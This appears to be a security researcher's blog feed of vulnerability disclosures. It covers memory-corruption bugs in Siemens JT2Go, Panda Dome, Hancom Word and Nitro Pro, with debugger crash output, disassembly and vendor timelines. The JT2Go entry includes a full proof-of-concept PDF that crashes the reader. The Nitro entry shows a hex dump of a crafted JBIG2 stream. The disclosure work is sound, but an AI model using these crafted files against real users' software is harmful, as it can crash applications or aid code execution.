Jekyll2022-09-20T22:16:32+00:00https://zeifan.my/feed.xmlSecurity ResearchNLab SecurityCVE-2022-2069 - Datalogics File Parsing Vulnerability in Teamcenter Visualization and JT2Go2022-08-17T02:00:00+00:002022-08-17T02:00:00+00:00https://zeifan.my/siemens_jt2go_oob<h2 id="overview">Overview</h2>
<p>JT2Go has been unanimously embraced by industry leaders as the premier free viewing tool for JT data. By providing a comprehensive Desktop application and mobile platform solutions on iOS and Android, Siemens has made viewing of JT data available for everyone in nearly any situation. Exact product that was found to be vulnerable including complete version information was Siemens PLM Software JT2Go 13.3.0.20211108.01. Siemens Teamcenter Visualization and JT2Go are affected by an out of bounds write vulnerability in APDFL library from Datalogics. If a user is tricked to open a malicious PDF file with the affected products, this could lead the application to crash or potentially lead to arbitrary code execution.</p>
<h2 id="root-cause-analysis">Root Cause Analysis</h2>
<p>An exploitable out-of-bounds heap write vulnerability exists due to an error in the DL180pdfl!PDNameTreeLookup function when handling a maliciously crafted PDF file. A remote attacker may be able to exploit this to execute arbitrary code within the context of the application, via a crafted PDF file. A specially crafted PDF document can trigger an out-of-bounds write, which can disclose sensitive memory content or even write and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability.</p>
<p>An access violation happened when JT2Go tries to open specially crafted PDF file. If we look at the crash path, it appears r9 is containing an out-of-bounds memory region and it was accessed. The analysis performed on DL180pdf.dll that triggers the vulnerability.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(5b8.6cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
DL180pdfl!PDNameTreeLookup+0x785e8a:
00007fff`1d0dd0d0 41897904 mov dword ptr [r9+4],edi ds:00000257`ff441000=????????
0:000> .exr -1
ExceptionAddress: 00007fff1d0dd0d0 (DL180pdfl!PDNameTreeLookup+0x0000000000785e8a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000001
Parameter[1]: 00000257ff441000
Attempt to write to address 00000257ff441000
</code></pre></div></div>
<p>Looking at the crash path, we know that the r9 is containing OOB memory region:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001807AD0D0 loc_1807AD0D0:
.text:00000001807AD0D0 mov [r9+4], edi ; crash here
.text:00000001807AD0D4 mov [r9], edi
.text:00000001807AD0D7 mov [r8+4], edi
.text:00000001807AD0DB mov [r8], edi
.text:00000001807AD0DE movzx r13d, [rbp+57h+var_CE]
.text:00000001807AD0E3 xor r13b, 1
.text:00000001807AD0E7 mov [rbp+57h+var_CE], r13b
</code></pre></div></div>
<p>The pointer was assigned by ASmalloc():</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; v20 = *(&v58 + v4);
.text:00000001807ACF50 loc_1807ACF50:
.text:00000001807ACF50 mov esi, 0FFFFFFFFh
.text:00000001807ACF55 mov r14d, r12d
.text:00000001807ACF58 movzx edx, r12w
.text:00000001807ACF5C mov [rbp+57h+var_D0], dx
.text:00000001807ACF60 xor r12b, r12b
.text:00000001807ACF63 mov [rbp+57h+arg_18], r12b
.text:00000001807ACF67 movzx eax, r13b
.text:00000001807ACF6B mov r8, qword ptr [rbp+rax*8+57h+var_80]
.text:00000001807ACF70 mov r9, qword ptr [rbp+rax*8+57h+var_68] ; r9 was assigned with the point to [rbp+rax*8+57h+var_68]
.text:00000001807ACF75 mov [r9], esi
.text:00000001807ACF78 mov [r8], esi
.text:00000001807ACF7B add r8, 4
.text:00000001807ACF7F mov [rbp+57h+var_B8], r8
.text:00000001807ACF83 add r9, 4
</code></pre></div></div>
<p>This code where it is responsible to assigned the size:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; v7 = 4i64 * (*a2 + 4);
.text:00000001807ACE8F mov ebx, eax
.text:00000001807ACE91 shl rbx, 2
; v11 = ASmalloc(v7);
; *&v58 = v11;
.text:00000001807ACEE6 mov ecx, edi
.text:00000001807ACEE8 call ASmalloc
.text:00000001807ACEED mov rbx, rax
.text:00000001807ACEF0 mov qword ptr [rbp+57h+var_68], rax
</code></pre></div></div>
<p>The r9 register add up with 4 which change the size of the heap with extra 4 bytes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>; v22 = v20 + 1;
.text:00000001807ACF83 add r9, 4
.text:00000001807ACF87 mov [rbp+57h+var_C8], r9
</code></pre></div></div>
<p>However when EDI tries to access r9, it appears it tries to access to a pointer that contains out-of-bounds memory region which triggers heap corruption when it writes to OOB memory.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:00000001807AD0D0 mov [r9+4], edi ; crash due to heap corruption
.text:00000001807AD0D4 mov [r9], edi
.text:00000001807AD0D7 mov [r8+4], edi
</code></pre></div></div>
<p>Proof-of-Concept related to the PDF that cause the issue:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%PDF-1.4
1 0 obj
<< /Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
>>
endobj
2 0 obj
<< /Count 0
/Type /Outlines
>>
endobj
3 0 obj
<< /Count 1
/Kids [8 0 R]
/Type /Pages
>>
endobj
4 0 obj
<< /Length 103
>>
stream
���������\������\ö €üYYYYYPPPPPPPPPPPPPPPPPPPPPPPPPPPpPPPPPPPPPS³:>0¨ÿ+1lV?~~èa"xvi´–„#ÿ¬
endstream
endobj
5 0 obj
<< /DecodeParms << /JBIG2Globals 4 0 R >>
/Width 32
/ColorSpace /DeviceGray
/Height 32
/Filter /JBIG2Decode
/Subtype /Image
/Length 76
/Type /XObject
/BitsPerComponent 1
>>
stream
���0������� ��� ���G���G������"����"��� ��� ��������������žèTìßë N“ÿ¬
endstream
endobj
6 0 obj
<< /Length 42
>>
stream
q 32.000000 0 0 32.000000 0 0 cm /Im1 Do Q
endstream
endobj
7 0 obj
<< /XObject << /Im1 5 0 R >>
/ProcSet [/PDF /ImageB]
>>
endobj
8 0 obj
<< /Parent 3 0 R
/Type /Page
/Contents 6 0 R
/Resources 7 0 R
/MediaB‚x [ 0 0 32.000000 32.000000 ]
>>
endobj
xref
0 9
0000000000 65535 f
0000000009 00000 n
0000000075 00000 n
0000000122 00000 n
0000000180 00000 n
0000000269 00000 n
0000000553 00000 n
0000000646 00000 n ¡0000000718 00000 n
trailer
<< /Size 9
/Root 1 0 R >>
startxref
837
%%EOF
</code></pre></div></div>
<h2 id="disclosure-timeline">Disclosure timeline</h2>
<p>The vulnerability was reported back in March 2022. Timeline of disclosure:</p>
<ul>
<li>[March 9, 2022] Sending the proof-of-concept and the analysis to productcert@siemens.com</li>
<li>[March 9, 2022] Siemens CERT team acknowledge teh submission and track the submission with ID S-PCERT#50343</li>
<li>[March 22, 2022] Request for an update to Siemens CERT</li>
<li>[March 22, 2022] Siemens CERT replying said that they still perform an analysis</li>
<li>[April 13, 2022] Request for an update to Siemens CERT</li>
<li>[April 13, 2022] Siemens CERT confirm the issue submitted is valid and they’re able to reproduced the issue. They observed the issue resides on DL180pdf library which is a 3rd party library belongs to Datalogics. CERT asked for my detail to be put in their advisory and CVE will be assign.</li>
<li>[June 21, 2022] Request for an update to Siemens CERT</li>
<li>[June 21, 2022] Siemens CERT plan to publish an advisory on July 12th and has assigned CVE-2022-2069.</li>
<li>[July 12, 2022] Siemens CERT sending an email regarding the advisory on https://cert-portal.siemens.com/productcert/html/ssa-829738.html</li>
</ul>Overview JT2Go has been unanimously embraced by industry leaders as the premier free viewing tool for JT data. By providing a comprehensive Desktop application and mobile platform solutions on iOS and Android, Siemens has made viewing of JT data available for everyone in nearly any situation. Exact product that was found to be vulnerable including complete version information was Siemens PLM Software JT2Go 13.3.0.20211108.01. Siemens Teamcenter Visualization and JT2Go are affected by an out of bounds write vulnerability in APDFL library from Datalogics. If a user is tricked to open a malicious PDF file with the affected products, this could lead the application to crash or potentially lead to arbitrary code execution.Panda Dome Antivirus - Heap-Based Buffer Overflow Vulnerability2021-09-08T15:00:00+00:002021-09-08T15:00:00+00:00https://zeifan.my/panda-av-overflow<h2 id="overview">Overview</h2>
<p>Panda Security specializes in the development of endpoint security products and is part of the WatchGuard portfolio of IT security solutions. Initially focused on the development of antivirus software, the company has since expanded its line of business to advanced cyber-security services with technology for preventing cyber-crime. PANDA DOME brings together Panda’s best protection, privacy and performance features into a single solution. This high-end, cross-platform antivirus product allows you to enjoy all your devices with complete peace of mind. Panda Dome’s packages also have:</p>
<ul>
<li>Web protection</li>
<li>Performance optimization</li>
<li>VPN (virtual private network)</li>
<li>Parental controls</li>
<li>Password manager</li>
<li>Gaming mode</li>
</ul>
<p>Panda Dome version 20.0.0.0 prone to vulnerable with heap-based buffer overflow vulnerability. An exploitable heap corruption exists in the OLE2_DeleteStreamID function of psksys.dll version 4.6.4.25 when parsing specially crafted 7zip file that leads to a heap corruption, resulting in direct code execution. This vulnerability was found via file format fuzzing. The vulnerability has been fixed by Panda Security Team with the release version 20.01.00.</p>
<h2 id="vulnerability-description">Vulnerability Description</h2>
<p>Specially crafted 7z files declare a specific number of substreams. However, when scanned by Panda Dome, more substreams than the declared ones are detected. This leads to a dynamic buffer overload that later causes a PSKSYS heap-based overflow when trying to free the heap that was previously corrupted. Here’s how the specially crafted 7zip file looks like :)</p>
<p><img src="https://user-images.githubusercontent.com/789149/132542078-eaedc57a-8a62-44ea-8423-f1f1353288a9.png" alt="grab" /></p>
<p>This vulnerability is present in the PSKSYS DLL, which is part of file format parsing. There is a vulnerability in the <strong>OLE2_DeleteStreamID</strong> function that used for parsing of the OLE2 stream. A specially crafted 7zip file can lead to a heap corruption and remote code execution. The vulnerability triggers even on the simplest operations performed on malformed 7z file because its related to file format parsing. Observation of stack trace:</p>
<p><img src="https://user-images.githubusercontent.com/789149/132537294-e10b5a22-4383-4457-a3ab-eb80d5e7dea6.png" alt="1" /></p>
<p>The initial cause was happened at the function <strong>psksys!ANALYZER_Analyze</strong>. The function responsible to analyze each of the files it tries to processing and parsing. Each processed file will has its own pointer. Example:</p>
<p><img src="https://user-images.githubusercontent.com/789149/132537424-abaa4046-2803-45aa-9c68-c08d477a7582.png" alt="2" /></p>
<p>Then it will call the other function <strong>psksys!ANALYZER_GetConfig</strong> to perform recognition of the file types / formats it tries to process. We can see EAX is responsible to store all of the valuable value (including pointers).</p>
<p><img src="https://user-images.githubusercontent.com/789149/132537514-31b53043-b180-453a-bb0d-0fde947aad49.png" alt="3" /></p>
<p>Screenshot above shows that <strong>[ebp+10h]</strong> pointer were stored in EAX and then it copy back to another register which is EBX. This operation is performed in the memory. The execution continue to the last path where the main root cause happened at the function <strong>psksys!OLE2_DeleteStreamID</strong>. This function is responsible to free the object store in the memory after parsing a file. The implementation of the stream deletion failed to free all of the object except for the EAX. This is where the heap corruption happened where it failed to free the object store in EBX. We can see this in the disassembly below:</p>
<p><img src="https://user-images.githubusercontent.com/789149/132537841-15b7d9ee-648a-43a1-aa3c-f3032003cf0b.png" alt="4" /></p>
<p>The heap corruption can be observed using debugger and we can see the failed freed object. If we see the stack trace below, the main root cause <strong>psksys!OLE2_DeleteStreamID</strong> can help us to track down the heap value. We can tell the <strong>OLE2_DeleteStreamID</strong> didn’t perform a proper check of the file it parse.</p>
<p><img src="https://user-images.githubusercontent.com/789149/132538009-d76f5b74-d578-4693-8c29-b3b79c57bbf9.png" alt="6" /></p>
<p>Free heap from previously corrupted:</p>
<p><img src="https://user-images.githubusercontent.com/789149/132538139-694d660c-42f7-468f-b458-576636910188.png" alt="7" /></p>
<p>This situation leads to a fully controllable heap corruption, and can be turned into remote code execution by an attacker.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:075> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
KEY_VALUES_STRING: 1
Key : Analysis.CPU.Sec
Value: 1
Key : Analysis.DebugAnalysisProvider.CPP
Value: Create: 8007007e on DESKTOP-PIDABN7
Key : Analysis.DebugData
Value: CreateObject
Key : Analysis.DebugModel
Value: CreateObject
Key : Analysis.Elapsed.Sec
Value: 15
Key : Analysis.Memory.CommitPeak.Mb
Value: 108
Key : Analysis.System
Value: CreateObject
Key : Timeline.OS.Boot.DeltaSec
Value: 41291
Key : Timeline.Process.Start.DeltaSec
Value: 5540
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 77180dec (ntdll!RtlReportCriticalFailure+0x0000004b)
ExceptionCode: 80000003 (Break instruction exception)
ExceptionFlags: 00000000
NumberParameters: 1
Parameter[0]: 00000000
FAULTING_THREAD: 00001cb4
PROCESS_NAME: PSANHost.exe
ERROR_CODE: (NTSTATUS) 0x80000003 - {EXCEPTION} Breakpoint A breakpoint has been reached.
EXCEPTION_CODE_STR: 80000003
EXCEPTION_PARAMETER1: 00000000
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
STACK_TEXT:
00000000 00000000 heap_corruption!PSANHost.exe+0x0
SYMBOL_NAME: heap_corruption!PSANHost.exe
MODULE_NAME: heap_corruption
IMAGE_NAME: heap_corruption
STACK_COMMAND: !heap ; ** Pseudo Context ** ManagedPseudo ** Value: e1181f0 ** ; kb
FAILURE_BUCKET_ID: BREAKPOINT_80000003_heap_corruption!PSANHost.exe
OS_VERSION: 10.0.17763.1
BUILDLAB_STR: rs5_release
OSPLATFORM_TYPE: x86
OSNAME: Windows 10
FAILURE_ID_HASH: {839ca667-cbd7-fe00-99bf-e10ad5bb35a1}
Followup: MachineOwner
---------
</code></pre></div></div>
<h2 id="disclosure-timeline">Disclosure timeline</h2>
<p>The vulnerability was reported back in December 2019. Here’s the timeline of disclosure:</p>
<ul>
<li>December 13, 2019 - Vulnerability reported via email (with PGP) to secure@pandasecurity.com</li>
<li>December 17, 2019 - Panda Security Response Team acknowledge they receive all the relevant details</li>
<li>January 15, 2020 - Follow up with vendor</li>
<li>January 17, 2020 - Panda Security Response Team told us they had some backlog and will get the issue reported prioritized</li>
<li>January 31, 2020 - Panda Security Response Team confirmed the issue reported and told to delay disclosure</li>
<li>Feb, Mar, Apr, May, Jun, Jul 2020 - Lost track LOL. I almost forgotten about this issue as well maybe due to COVID-19 Pandemic XD</li>
<li>August 1, 2020 - Follow up with Panda Security</li>
<li>August 4, 2020 - Panda Security Response Team told that they had fixed the vulnerability on version 20.01.00 however it gets delayed until summer hours due to some features that needs to be added. Thus, no release made during this period.</li>
<li>August 11, 2020 - Panda Security Response Team rewards me with Antivirus software (latest version) with full license</li>
<li>August 12, 2020 - Asking for updates on the latest version release</li>
<li>Sept, Oct, Nov, Dec 2020 - Lost track again LOL</li>
<li>January 2021 - Lost track againnnn</li>
<li>February 9, 2021 - Asking for updates</li>
<li>February 11, 2021 - Panda Security Respons Team reply saying that they had integration changes due to WatchGuard. They told that the fixed version 20.01.00 has shipped to their customers since November 2020 and informed that new version 20.02 has already released LOL~</li>
<li>April 6, 2021 - Panda Security Response Team publicly disclosed security advisory and acknowledge me here <a href="https://www.pandasecurity.com/en/support/card?id=100076">https://www.pandasecurity.com/en/support/card?id=100076</a></li>
<li>September 9, 2021 - Public writeup on the vulnerability reported</li>
</ul>Overview Panda Security specializes in the development of endpoint security products and is part of the WatchGuard portfolio of IT security solutions. Initially focused on the development of antivirus software, the company has since expanded its line of business to advanced cyber-security services with technology for preventing cyber-crime. PANDA DOME brings together Panda’s best protection, privacy and performance features into a single solution. This high-end, cross-platform antivirus product allows you to enjoy all your devices with complete peace of mind. Panda Dome’s packages also have: Web protection Performance optimization VPN (virtual private network) Parental controls Password manager Gaming mode(0-Day?) Hancom Word Out-of-Bounds Read Vulnerability2021-05-26T10:00:00+00:002021-05-26T10:00:00+00:00https://zeifan.my/hancom-oob<h2 id="overview">Overview</h2>
<p>Hancom Office 2020 provides a feature-rich set of desktop productivity applications for conducting common tasks such as word processing, spreadsheet modelling, graphic presentation and working with PDFs. With an intuitive interface and powerful features, Hancom Office can bring out the true professional in you today.</p>
<h2 id="vulnerability-description">Vulnerability Description</h2>
<p>An heap out-of-bounds read vulnerability exists in Hancom Word software that is caused when the Office software improperly handles objects in memory while parsing specially crafted Office files. An attacker who successfully exploited the vulnerability remotely and could run arbitrary code in the context of the current user. Failure could lead to denial-of-service. Product and version affected was Hancom Office 2020 with version 11.0.0.1. The vulnerability was found with fuzzing. A heap overflow occurred when parsing a specially crafted document file that could allow to execute arbitrary code, remotely. Access violation happened when attaching with debugger.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(39c.d14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=5c002000 ebx=0d046af0 ecx=5c002000 edx=577d8b18 esi=0cf34250 edi=00000000
eip=6aa18f9a esp=00f7e20c ebp=00f7e20c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
HwordApp!HwordDeletePropertyArray+0xa5ee1a:
6aa18f9a 8b480c mov ecx,dword ptr [eax+0Ch] ds:002b:5c00200c=????????
0:000> .exr -1
ExceptionAddress: 6aa18f9a (HwordApp!HwordDeletePropertyArray+0x00a5ee1a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 5c00200c
Attempt to read from address 5c00200c
</code></pre></div></div>
<h2 id="disclosure-timeline">Disclosure timeline</h2>
<p>The vulnerability was reported back August 2020. Timeline of disclosure:</p>
<ul>
<li>2020-08-16 - Informing vendor (Hancom) on vulnerability found in their Office product vis support.</li>
<li>2020-08-25 - Vendor acknowledge however they’re asking to send the report via support (LOL). I follow up with them if they have vulnerability disclosure processes.</li>
<li>2020-08-26 - Vendor informed us they said they have bug bounty and proper processes.</li>
<li>2020-09-04 - Submit report to vendor</li>
<li>2020-09-07 - Follow up with vendor</li>
<li>2020-09-10 - Vendor respond saying that “there are issues in setting the memory allocation range, but in actual practice, Hancom Office’s dynamic detection security function would automatically stop any exploit of such vulnerabilities and malicious behavior at the point of occurrence. In other words, the blocking function would trigger to prevent any actual damage.”. My response to them is when I did fuzzing on their application, my fuzzer several crashes that actually caught by the dynamic detection memory by Hancom Word. Hancom actually integrating some anti-exploit DLL (BitSentry) to actually works on the memory allocation. However on some of the other cases manage to bypass this anti-exploit and able to trigger Out-of-Bounds.</li>
<li>2020-09-17 - Vendor responding they will work on the issue that has reported.</li>
<li>2020-09-24 - Follow up with vendor</li>
<li>2020-09-29 - Vendor responding the bounty from KISA is not eligible for foreigner. I’m good with it as long as they fix the issue.</li>
<li>2020-09 until 2020-12 - No more updates from vendor</li>
<li>2021-01-15 - Follow up with vendor</li>
<li>2021-05-26 - No more update from vendor. Public writeup release (considering it 0-day), request for CVE.</li>
</ul>Overview Hancom Office 2020 provides a feature-rich set of desktop productivity applications for conducting common tasks such as word processing, spreadsheet modelling, graphic presentation and working with PDFs. With an intuitive interface and powerful features, Hancom Office can bring out the true professional in you today.CVE-2020-25290 - Nitro Pro PDF JBIG2 Image Decoders Out-of-Bounds Write Vulnerability2020-09-18T13:00:00+00:002020-09-18T13:00:00+00:00https://zeifan.my/nitro-pro-oob<h2 id="overview">Overview</h2>
<p>Nitro Software, Inc. develops commercial software used to create, edit, sign, and secure Portable Document Format files and digital documents. The company has over 650,000 business customers worldwide, and claims millions of users across the globe.</p>
<h2 id="vulnerability-description">Vulnerability Description</h2>
<p>An exploitable out-of-bounds write vulnerability exists in the handling of JBIG2 image decoders of object stream attributes of Nitro Pro PDF Reader version 13.19.2.356. A specially crafted PDF document can trigger an out-of-bounds write, which can disclose sensitive memory content or even write and aid in exploitation when coupled with another vulnerability. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.</p>
<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>
<p>The out-of-bounds issue exists when JBIG2 fails to handle image decoders of object stream attributes. This happened when it tries to process the following example image stream embedded in PDF. Nitro Pro PDF rely on JBIG2 library to handle images.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00000150 20 30 20 6F 62 6A 0A 3C 3C 20 2F 44 65 63 6F 64 0 obj.<< /Decod
00000160 65 50 61 72 6D 73 20 20 3C 3C 20 2F 4A 42 49 47 eParms << /JBIG
00000170 32 47 6C 6F 62 61 6C 73 20 34 20 30 20 52 20 3E 2Globals 4 0 R >
00000180 3E 0A 2F 57 69 64 74 68 20 33 32 0A 2F 43 6F 6C >./Width 32./Col
00000190 6F 72 53 70 61 63 65 20 2F 44 65 76 69 63 65 47 orSpace /DeviceG
000001A0 72 61 79 0A 2F 48 65 69 67 68 74 20 33 32 0A 2F ray./Height 32./
000001B0 46 69 6C 74 65 72 20 2F 4A 42 49 47 32 44 65 63 Filter /JBIG2Dec
000001C0 6F 64 65 0A 2F 53 75 62 74 79 70 65 20 2F 49 6D ode./Subtype /Im
000001D0 61 67 65 0A 2F 4C 65 6E 67 74 68 20 37 36 0A 2F age./Length 76./
000001E0 54 79 70 65 20 2F 58 4F 62 6A 65 63 74 0A 2F 42 Type /XObject./B
000001F0 69 74 73 50 65 72 43 6F 6D 70 6F 6E 65 6E 74 20 itsPerComponent
00000200 31 0A 3E 3E 0A 73 74 72 65 61 6D 0A 00 00 00 01 1.>>.stream.....
00000210 30 00 01 00 00 00 13 00 00 00 20 00 00 00 20 00 0......... ... .
00000220 00 00 47 00 00 00 47 00 00 00 00 00 00 02 06 22 ..G...G........"
00000230 00 01 00 00 00 22 00 00 00 20 00 00 00 20 00 00 ....."... ... ..
00000240 00 00 00 00 00 00 00 00 00 00 00 00 04 9E E8 54 .............žèT
00000250 EC DF EB 09 4E 93 41 AC 0A 65 6E 64 73 74 72 65 ìßë.N“A¬.endstre
00000260 61 6D 0A 65 6E 64 6F 62 6A 0A 0A 36 20 30 20 6F am.endobj..6 0 o
</code></pre></div></div>
<p>An access violation occured when parsing the PDF:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(90b4.8ba0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
npdf!CAPContent::Wrap+0xa041d:
00007ffc`303486fd 204c28ff and byte ptr [rax+rbp-1],cl ds:ffffffff`ffffffff=??
0:000>r
rax=0000000000000000 rbx=0000025593320d10 rcx=00000000000000ff
rdx=00007ff81ea90460 rsi=0000005894ff7c50 rdi=0000000000000000
rip=00007ff81e73c17d rsp=0000005894ff7b60 rbp=0000000000000000
r8=0000000000000000 r9=0000005894ff7b70 r10=0000000000000000
r11=0000000000000000 r12=0000000000000000 r13=000000000000003d
r14=0000000000000000 r15=00000000000000ff
</code></pre></div></div>
<p>Analyzing thru the crash path found that the OOB happened when the library JBIG2 in npdf.dll attempted to write in memory. Crash path:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>00007ffc`303486e0 448bac24b8000000 mov r13d,dword ptr [rsp+0B8h]
00007ffc`303486e8 488b06 mov rax,qword ptr [rsi]
00007ffc`303486eb 488b4810 mov rcx,qword ptr [rax+10h]
00007ffc`303486ef 488b01 mov rax,qword ptr [rcx]
00007ffc`303486f2 4903c4 add rax,r12
00007ffc`303486f5 0fb68c24a0000000 movzx ecx,byte ptr [rsp+0A0h]
00007ffc`303486fd 204c28ff and byte ptr [rax+rbp-1],cl
</code></pre></div></div>
<p>We can see the [rsp+0A0h] is containing an argument and will be copied into the ECX register. Here’s the containing memory of [rsp+0A0h]:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dc rsp+0A0
00000015`239f9970 239f9cff 00000015 00000000 00000000 ...#............
00000015`239f9980 00000000 000001af 0000003d 00000015 ........=.......
00000015`239f9990 00000000 00000000 00000000 00000000 ................
00000015`239f99a0 00000000 00000000 00000000 0000000b ................
00000015`239f99b0 7def3af0 000001af 71972596 00007ffc .:.}.....%.q....
00000015`239f99c0 7def3bb0 000001af 7dc5d76c 000001af .;.}....l..}....
00000015`239f99d0 7dc5d720 000001af 7dc5d764 000001af ..}....d..}....
00000015`239f99e0 7dc5d76c 000001af fffffffe ffffffff l..}............
</code></pre></div></div>
<p>First argument will be 239f9cff and this is copied to the ECX register. At the crash path, it performs a bitwise AND operation on the destination (first) and source (second) operands and stores the result in the destination of the operand location, in this case to memory location. It uses CL register to copy the value FF to [rax+rbp-1]. Examining the memory of [rax+rbp-1]. Thus, we can confirm that this issue is indeed an attempt to write. This can be observed with:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dc [rax+rbp-1]
ffffffff`ffffffff ???????? ???????? ???????? ???????? ????????????????
00000000`0000000f ???????? ???????? ???????? ???????? ????????????????
00000000`0000001f ???????? ???????? ???????? ???????? ????????????????
00000000`0000002f ???????? ???????? ???????? ???????? ????????????????
00000000`0000003f ???????? ???????? ???????? ???????? ????????????????
00000000`0000004f ???????? ???????? ???????? ???????? ????????????????
00000000`0000005f ???????? ???????? ???????? ???????? ????????????????
00000000`0000006f ???????? ???????? ???????? ???????? ????????????????
0:000> .exr -1
ExceptionAddress: 00007ffc303486fd (npdf!CAPContent::Wrap+0x00000000000a041d)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000001
Parameter[1]: ffffffffffffffff
Attempt to write to address ffffffffffffffff
</code></pre></div></div>
<p>The vulnerability lies in the sub_18045850 function. This function supposedly performed further checking on the image being decoded. It has multiple checks of Bitmap decoding, to prevent an index out of bound. It checks for bitmap width and height by checking the length from 0x7FFFFFFF until it exceeds 0xFFFFFFFFFFFFFFFE and throws an error. In our case, this check is get passed and jumps to a different branch code that didn’t perform checks. This gives us hint that we manage to achieve out-of-bounds checks.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000180458516 mov qword ptr [r11-68h], 0FFFFFFFFFFFFFFFEh // out-of-bounds check value
.text:000000018045851E mov [r11+10h], rbx
.text:0000000180458522 mov r12d, r9d
.text:0000000180458525 mov r14d, r8d
.text:0000000180458528 mov rsi, rdx
.text:000000018045852B mov rbx, rcx
.text:000000018045852E mov eax, [rcx]
.text:0000000180458530 cmp r8d, eax
.text:0000000180458533 ja loc_18045874B // check if bitmap index out of bound
.text:0000000180458539 mov ecx, [rcx+4]
.text:000000018045853C cmp r9d, ecx
.text:000000018045853F ja loc_18045874B // check if bitmap index out of bound
.text:0000000180458545 mov ebp, [r11+28h]
.text:0000000180458549 lea r15d, [r8+rbp]
.text:000000018045854D cmp r15d, eax
.text:0000000180458550 ja loc_180458728 // check if bitmap index out of bound
.text:0000000180458556 mov r13d, [r11+30h]
.text:000000018045855A lea eax, [r9+r13]
.text:000000018045855E cmp eax, ecx
.text:0000000180458560 ja loc_180458728 // check if bitmap index out of bound
</code></pre></div></div>
<p>It then again checks for validity of bitmap width and height. The check it perform is veryr and calculate each of in detail to prevent memory corruption.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.text:0000000180458566 mov ecx, 18h // allocate size 0x18
.text:000000018045856B call ??2@YAPEAX_K@Z ; operator new(unsigned __int64)
.text:0000000180458570 mov [rsp+88h+arg_0], rax
.text:0000000180458578 xor edi, edi
.text:000000018045857A test rax, rax
.text:000000018045857D jz short loc_180458591
...
.text:0000000180457ABE mov [rsp+78h+var_58], 0FFFFFFFFFFFFFFFEh // max size value for 64-bit address
.text:0000000180457AC7 mov rdi, rcx
.text:0000000180457ACA mov [rcx], edx
.text:0000000180457ACC mov [rcx+4], r8d
.text:0000000180457AD0 lea r14, [rcx+10h]
.text:0000000180457AD4 xor ebx, ebx
.text:0000000180457AD6 mov [r14], rbx
.text:0000000180457AD9 cmp dword ptr [rcx], 7FFFFFFFh // max size value for 32-bit address
.text:0000000180457ADF jnb loc_180457BAC // check for bitmap width if it is invalid
.text:0000000180457AE5 lea esi, [rdx+7]
.text:0000000180457AE8 shr esi, 3
.text:0000000180457AEB mov [rcx+8], esi
.text:0000000180457AEE mov eax, r8d
.text:0000000180457AF1 imul rsi, rax
.text:0000000180457AF5 cmp rsi, 7FFFFFFFh
.text:0000000180457AFC jnb loc_180457B89 // check for bitmap height if it is invalid
.text:0000000180457B02 lea ecx, [rbx+18h]
.text:0000000180457B05 call ??2@YAPEAX_K@Z
.text:0000000180457B0A mov [rsp+78h+arg_18], rax
.text:0000000180457B12 test rax, rax
.text:0000000180457B15 jz short loc_180457B3C
.text:0000000180457B17 mov [rsp+78h+arg_8], bl
.text:0000000180457B1E lea r9, [rsp+78h+arg_10]
.text:0000000180457B26 lea r8, [rsp+78h+arg_8]
.text:0000000180457B2E mov rdx, rsi
.text:0000000180457B31 mov rcx, rax
.text:0000000180457B34 call sub_180163140 // perform another check, this round it checks for the size if exceeded 0x7FFFFFFFFFFFFFFF
...
.text:000000018016314B mov [rsp+38h+var_18], 0FFFFFFFFFFFFFFFEh
.text:0000000180163154 mov [rsp+38h+arg_8], rbx
.text:0000000180163159 mov [rsp+38h+arg_10], rsi
.text:000000018016315E mov [rsp+38h+arg_18], rdi
.text:0000000180163163 mov r14, r8
.text:0000000180163166 mov rsi, rdx
.text:0000000180163169 mov rdi, rcx
.text:000000018016316C xor eax, eax
.text:000000018016316E mov [rcx], rax
.text:0000000180163171 mov [rcx+8], rax
.text:0000000180163175 mov [rcx+10h], rax
.text:0000000180163179 test rdx, rdx
.text:000000018016317C jz short loc_1801631BE
